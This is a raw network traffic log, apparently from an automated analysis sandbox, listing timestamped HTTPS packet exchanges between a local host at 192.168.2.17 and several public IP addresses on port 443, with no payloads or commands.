Dec 16, 2024 18:45:28.070348978 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.074173927 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.074238062 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.074258089 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.076128960 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.078511953 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.078733921 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.078799009 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.082087994 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.082175970 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.082190037 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.083071947 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.083141088 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.083159924 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.089997053 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.090060949 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.090082884 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.092159986 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.092230082 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.092250109 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.092313051 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.097351074 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.097418070 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.097434044 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.100862980 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.100872993 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.100934029 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.100941896 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.100999117 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.107053041 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.109194040 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.109205961 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.109256983 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.109263897 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.109271049 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.109301090 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.109376907 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.109430075 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.109564066 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.109616041 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.109636068 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.109941006 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.109956980 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.112236023 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.112262011 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.112310886 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.112387896 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.112426043 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.114686012 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.114742041 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.114754915 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.124398947 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.124471903 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.124521017 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.124587059 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.126774073 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.126846075 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.126878977 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.126929045 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.133632898 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.133642912 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.133708954 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.138187885 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.138195992 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.138253927 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.141448975 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.141472101 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.141520977 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.145724058 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.145956993 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.145982027 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.146740913 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.146749973 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.146795988 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.147490978 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.147571087 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.147939920 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.148009062 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.148099899 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.148114920 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.148911953 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.148973942 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.149008036 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.149072886 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.150954008 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.150962114 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.151031017 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.151046038 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.151089907 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.151143074 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.151237011 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.151268005 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.156234980 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.156341076 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.156359911 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.156482935 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.156542063 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.157217979 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.157253027 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.198677063 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:28.198721886 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:28.198788881 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:28.199028969 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:28.199044943 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:28.203222990 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.252691031 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.252794027 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.252819061 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.252887964 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.253001928 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.253067017 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.253155947 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.253171921 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:28.256675005 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.256750107 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.257055998 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.257167101 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.257235050 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.257252932 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.297245026 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.301851034 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:28.301902056 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:28.301976919 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:28.302228928 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:28.302244902 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:28.307218075 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:28.307244062 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:28.307506084 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:28.307506084 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:28.307529926 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:28.323051929 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:28.323112011 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:28.323196888 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:28.323445082 CET	49747	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:28.323483944 CET	443	49747	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:28.333555937 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:28.333575964 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:28.333633900 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:28.333842993 CET	49748	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:28.333857059 CET	443	49748	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:28.639300108 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639389992 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639410019 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639439106 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639460087 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639595985 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.639595985 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.639672041 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.639738083 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.640185118 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.647619963 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.647695065 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.647711992 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.656128883 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.656197071 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.656300068 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:28.656330109 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:28.720118999 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.720375061 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.720452070 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.720467091 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.720535994 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.720593929 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.720612049 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.721273899 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:28.721601963 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:28.721620083 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:28.723062038 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:28.723160028 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:28.724226952 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:28.724308968 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:28.731739998 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.731808901 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.731827974 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.740150928 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.740223885 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.740238905 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.775264025 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:28.775285959 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:28.791194916 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.791213989 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.797693968 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.797710896 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:28.797868967 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.798149109 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.798158884 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:28.800317049 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.800424099 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:28.800502062 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.800717115 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:28.800740957 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:28.822240114 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:28.837935925 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:28.838001013 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:28.838100910 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:28.838252068 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.838398933 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:28.838419914 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:28.839643002 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.885221958 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.885237932 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.920288086 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.920370102 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.920389891 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.929897070 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.929964066 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.929968119 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.929982901 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.930068970 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.937863111 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.945916891 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.945988894 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.945990086 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.946007967 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.946074963 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.953933001 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.962255001 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.962331057 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.962347984 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.969980955 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.970062017 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.970076084 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.978072882 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.978157043 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.978171110 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.985025883 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.985104084 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.985117912 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.999070883 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.999135971 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.999165058 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:28.999197006 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:28.999247074 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.006077051 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.036195993 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.036267996 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.036283970 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.091200113 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.108558893 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.111119986 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.111193895 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.111213923 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.116296053 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.116381884 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.116395950 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.126434088 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.126518965 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.126533031 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.126667976 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.135936022 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.135957003 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.136279106 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.140439034 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.140525103 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.140538931 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.140861988 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.149336100 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.149358034 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.149411917 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.158435106 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.158534050 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.158548117 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.158617973 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.162760973 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.162782907 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.162837982 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.170614004 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.170722961 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.170737028 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.170795918 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.177018881 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.177094936 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.183468103 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.183561087 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.183578014 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.183643103 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.190135002 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.190215111 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.196522951 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.196618080 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.201576948 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.201664925 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.301047087 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.301136971 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.305222034 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.307359934 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.307885885 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.307962894 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.313113928 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.313235998 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.315876961 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.315958977 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.320837021 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.320930958 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.325510025 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.325582027 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.327965021 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.328049898 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.332602978 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.332678080 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.337065935 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.337177992 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.341525078 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.341600895 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.343837976 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.343924999 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.348479033 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.348562956 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.351680994 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.351749897 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.356328011 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.356399059 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.358650923 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.358721018 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.363111973 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.363214016 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.367568970 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.367647886 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.372124910 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.372210979 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.374495983 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.374556065 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.378890038 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.378972054 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.381262064 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.381369114 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.422064066 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.422135115 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.426527023 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.426620007 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:29.427465916 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.427795887 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.427818060 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.429281950 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.429348946 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.429783106 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.429862976 CET	443	49743	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:29.429955006 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:29.429964066 CET	49743	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:29.430017948 CET	49742	443	192.168.2.17	104.18.142.119
